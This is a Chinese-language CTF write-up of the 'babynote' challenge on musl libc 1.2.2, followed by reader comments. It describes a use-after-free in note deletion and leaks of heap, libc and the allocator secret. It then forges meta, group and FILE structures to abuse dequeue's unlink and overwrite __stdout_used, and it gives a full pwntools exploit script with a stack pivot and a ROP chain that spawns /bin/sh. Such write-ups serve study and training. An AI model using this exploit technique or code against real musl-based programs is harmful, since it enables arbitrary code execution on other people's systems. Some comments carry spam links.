Loading... musl 1.2.2 ### 思路: 漏洞点在delete功能,delete链表尾后没从链表中删除,可以uaf 源码分析和dequeue利用方法参考: [https://bbs.pediy.com/thread-269533-1.htm#msg_header_h2_0](https://bbs.pediy.com/thread-269533-1.htm#msg_header_h2_0) [https://www.anquanke.com/post/id/253566#h3-2](https://www.anquanke.com/post/id/253566#h3-2) 1. 先堆风水将链表尾note的content块在free后申请成另一个note的控制块,leak出group地址和mmap地址 2. 然后用差不多的方法,将链表尾note的控制块在free后申请成另一个note的content块来任意读,泄露出meta地址和secret 3. 然后伪造chunk、group、meta、meta_area、__stdout_FILE,让伪造的chunk free时引导至伪造的meta、meta_area从而触发free->nontrivial_free->dequeue(具体见参考文章),用dequeue中的unsafe unlink将__stdout_used覆盖成伪造的__stdout_FILE 伪造chunk时注意next chunk的chunk头也要伪造,因为有这部分检查: ![140204.png](https://cor1e.cn/usr/uploads/2022/04/3028933186.png) ```cpp static inline void dequeue(struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev;# 利用 if (*phead == m) *phead = m->next; } else { *phead = 0; } m->prev = m->next = 0; } ``` exit时会执行伪造的__stdout_FILE->write: ```cpp void __stdio_exit(void) { FILE *f; for (f=*__ofl_lock(); f; f=f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used);#利用 close_file(__stderr_used); } ``` ```cpp static void close_file(FILE *f) { if (!f) return; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0, 0);#f->write字段偏移为0x48 if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR); } ``` 调用f->write时参数为可控制的假__stdout_FILE,这里有个常用gadget: ```shell ropper --file /usr/lib/x86_64-linux-musl/libc.so |grep rdi |grep jmp|grep mov|grep rsp ... 0x00000000000789f5: mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]; ``` 可以将rdi+0x30处填为rop chain地址,0x38处为ret,来栈迁移rop 企鹅师傅写的注意点: [https://eqqie.cn/index.php/archives/1931](https://eqqie.cn/index.php/archives/1931) ### exp: ```python from pwn import* p=process('./babynote') #context.log_level='debug' libc=ELF('/usr/lib/x86_64-linux-musl/libc.so') def cmd(idx): p.sendlineafter("option: ",str(idx)) def add(name_size,name,note_size,note=' '): cmd(1) p.sendlineafter("name size: ",str(name_size)) p.sendlineafter("name: ",name) p.sendlineafter("note size: ",str(note_size)) if len(note)==note_size: p.sendafter("note content: ",note) else: p.sendlineafter("note content: ",note) def find(name_size,name): cmd(2) p.sendlineafter("name size: ",str(name_size)) p.sendlineafter("name: ",name) def delete(name_size,name): cmd(3) p.sendlineafter("name size: ",str(name_size)) p.sendlineafter("name: ",name) p.recvuntil("ok") def forget(): cmd(4) def get_number(length): num=0 for i in range(length): num+=int(p.recv(2),16)<<(8*i) return num def exploit(): ##### step 1 把链表尾的note_content块申请成note控制块读出,leak elf_base and libc_base ##### add(0x30,'aaa',0x30,'aaaa') add(0x20,'bbb',0x20,'bbbb') #gdb.attach(p) delete(0x30,'aaa') add(0x20,'ccc',0x20,'cccc') add(0x30,'ddd',0x20,'dddd') delete(0x30,'ddd') forget() add(0x30,'eee',0x20,'e'*0x10) add(0x30,'ddd',0x20,'dddd') delete(0x30,'eee') add(0x30,'fff',0x10000,'ffff') find(0x30,'eee') p.recvuntil('0x10:') heap_leak=get_number(6) meta_leak_addr=heap_leak-0x90 log.success('meta_leak_addr: '+hex(meta_leak_addr)) elf_base=heap_leak-0x48d0 log.success('elf_base: '+hex(elf_base)) p.recv(4) mmap_leak=get_number(6) libc_base=mmap_leak+0x10fe0 log.success('mmap_leak: '+hex(mmap_leak)) log.success('libc_base: '+hex(libc_base)) add(0x40,'aaa',0x40,'aaaa') forget() ##### step 2 leak meta add(0x40,'aaa',0x20,'aaaa') add(0x20,'bbb',0x20,'bbbb') add(0x20,'ccc',0x20,'cccc') delete(0x40,'aaa') add(0x20,'aaa',0x20,p64(meta_leak_addr+0x10)+p64(meta_leak_addr)+p64(3)+p64(6)) find(0x40,'ddd') p.recvuntil('0x6:') meta_leak=get_number(6) meta_area=meta_leak&0xfffffffffffff000 log.success('meta_leak: '+hex(meta_leak)) add(0x40,'aaa',0x40,'aaaa') forget() ##### step 3 leak searct add(0x40,'aaa',0x20,'aaaa') add(0x20,'bbb',0x20,'bbbb') add(0x20,'ccc',0x20,'cccc') delete(0x40,'aaa') add(0x20,'aaa',0x20,p64(meta_leak_addr+0x10)+p64(meta_area)+p64(3)+p64(8)) find(0x40,'ddd') p.recvuntil('0x8:') secret=get_number(8) log.success('secret: '+hex(secret)) ##### step 4 fake meta and fake IO_FILE stdout_used_addr=libc_base+0xad3b0 log.success('stdout_used: '+hex(stdout_used_addr)) fake_addr=mmap_leak-0x7020 log.success('fake_addr: '+hex(fake_addr)) fake_mem=fake_addr+0x30 fake_meta=fake_addr+0x1000+0x10 fake_stdout=fake_mem+0x90 rop_addr=fake_mem+0x30 ret=libc_base+0x00000000000152a2 pop_rdi_ret=libc_base+0x00000000000152a1 pop_rax_ret=libc_base+0x0000000000016a86 pop_rsi_ret=libc_base+0x000000000001b0a1 pop_rdx_ret=libc_base+0x000000000002a50b syscall=libc_base+0x0000000000015a52 magic_gadget=libc_base+0x00000000000789f5 payload=p64(fake_meta)+p32(6)+p32(0xa000) #group payload+=b'/bin/sh\x00'+p64(0) #chunk payload+=p64(0)+p64(0xc) payload+=p64(pop_rax_ret)+p64(59)+p64(pop_rdi_ret)+p64(fake_mem+0x10) payload+=p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0) payload+=p64(syscall)+p64(0)+p64(0)*2 payload+=b'\x00'*0x30 + p64(rop_addr) + p64(ret) + p64(0) + p64(magic_gadget) #fake_stdout payload=payload.ljust(0x1000-0x30,b'\x00') payload+=p64(secret)+p64(0) #meta_area payload+=p64(fake_stdout)+p64(stdout_used_addr)+p64(fake_mem) #meta payload+=p32(0x7e)+p32(0) freeable = 1 maplen = 1 sizeclass = 1 last_idx = 6 last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12) payload +=p64(last_value)+p64(0) add(0x40,'aaa',0x2000,payload) forget() #gdb.attach(p) ##### step 5 free fake chunk and get shell add(0x40,'aaa',0x20,'aaaa') add(0x20,'bbb',0x20,'bbbb') add(0x20,'ccc',0x20,'cccc') delete(0x40,'aaa') add(0x20,'aaa',0x20,p64(meta_leak_addr+0x10)+p64(fake_mem+0x10)+p64(3)+p64(8)) gdb.attach(p) delete(0x40,'ddd') #gdb.attach(p) cmd(5) p.interactive() if __name__=='__main__': exploit() ``` 最后修改:2023 年 03 月 14 日 08 : 09 PM © 允许规范转载
14 条评论
真棒!
想想你的文章写的特别好www.jiwenlaw.com
看的我热血沸腾啊https://www.237fa.com/
怎么收藏这篇文章?
博主真是太厉害了!!!
555
1
1
1
1
1
1
555
555